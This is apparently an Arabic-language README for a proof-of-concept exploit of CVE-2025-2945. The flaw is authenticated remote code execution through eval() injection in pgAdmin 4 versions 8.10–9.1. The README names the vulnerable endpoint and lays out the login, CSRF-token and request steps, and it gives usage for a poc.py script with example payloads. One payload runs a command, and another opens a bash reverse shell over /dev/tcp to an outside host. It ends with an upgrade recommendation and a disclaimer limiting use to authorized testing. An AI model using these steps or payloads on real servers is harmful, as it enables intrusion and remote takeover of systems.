
RCE مصادق في pgAdmin 4 (8.10–9.1) عبر حقن eval() في أداة الاستعلام. هذا هو PoC محدث مع إصلاحات التوافق لتغييرات المصادقة في pgAdmin 9.x
دليل إثبات للمفهوم لـ CVE-2025-2945، وهي ثغرة حرجة لتنفيذ تعليمات برمجية عن بعد في pgAdmin 4.
الإصدارات المتأثرة: من 8.10 حتى 9.1
تم الإصلاح في: 9.2 (تم الإصدار في 4 أبريل 2025)
CVSS v3.1: 9.9 (حرجة)
أداة الاستعلام pgAdmin 4 تعرض نقطة نهاية تقبل معلمة query_commited وتمررها مباشرة إلى دالة eval() المضمنة في Python دون أي تنظيف. يمكن للمهاجم الموثق إرسال تعليمات برمجية Python عشوائية عبر هذه المعلمة وتنفيذها من جانب الخادم تحت حساب خدمة pgAdmin.
نقطة النهاية المعرضة للخطر هي:
POST /sqleditor/query_tool/download/<trans_id>
يتم تقييم حقل query_commited في نص JSON كتعليمات برمجية Python على الخادم.
في إصدارات pgAdmin 4 قبل 9.2، يقوم معالج تنزيل أداة الاستعلام باستدعاء على الإدخال المقدم من المستخدم:
eval()# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
لا يتم تطبيق أي التحقق من الإدخال أو العزل أو القائمة المسموح بها. يتم تنفيذ أي تعبير Python صالح بامتيازات عملية pgAdmin.
/authenticate/login، والحصول على ملف تعريف ارتباط الجلسة ورمز CSRF/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> مع بيانات اعتماد قاعدة البيانات لإنشاء جلسة أداة الاستعلام/sqleditor/get_server_connection/<sgid>/<sid> مع التكرار على المعرفات حتى يعيد أحدها data.status == true/sqleditor/query_tool/download/<trans_id> مع {"query_commited": "<python payload>"}، واستلام رد 500 يؤكد التنفيذالإصدارات القديمة من pgAdmin كانت تدمج رمز CSRF في حقل <input> مخفي أو في ملف تعريف ارتباط. انتقل الإصدار 9.x إلى بنية تطبيق React أحادي الصفحة حيث يتم تضمين الرمز كـ JSON داخل استدعاء window.renderSecurityPage() في صفحة /login:
"csrfToken": "<token value>"
الرمز محدد بجلسة العمل (Flask-WTF / itsdangerous)، لذلك يظل الرمز الذي تم الحصول عليه من طلب GET /login الأولي صالحًا للجلسة بأكملها ويمكن إعادة استخدامه لجميع استدعاءات API اللاحقة.
قام pgAdmin 9.x بتقسيم مسار تسجيل الدخول:
GET /login — يعرض صفحة تسجيل الدخول (تحتوي على رمز CSRF)POST /authenticate/login — يعالج بيانات الاعتمادستتلقى أدلة إثبات المفهوم القديمة التي ترسل طلب POST مباشرة إلى /login رد 404 أو 405 على إصدارات 9.x.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| الوسيطة | الوصف |
|---|---|
--rhost | اسم المضيف الهدف أو IP (بدون مخطط) |
--rport | المنفذ الهدف (الافتراضي: 80) |
--username | بريد pgAdmin الإلكتروني لتسجيل الدخول |
--password | كلمة مرور pgAdmin |
--db-user | اسم مستخدم PostgreSQL |
--db-pass | كلمة مرور PostgreSQL |
--db-name | اسم قاعدة البيانات |
--payload | تعبير Python لتقييمه على الخادم |
--max-server-id | الحد الأقصى لمعرفات الخادم لفحصها (الافتراضي: 10) |
تنفيذ أمر:
--payload "__import__('os').system('id')"
قشرة عكسية:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/قم بالترقية إلى pgAdmin 4 الإصدار 9.2 أو أحدث.
هذا المستودع مخصص للأغراض التعليمية والاختبار المصرح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.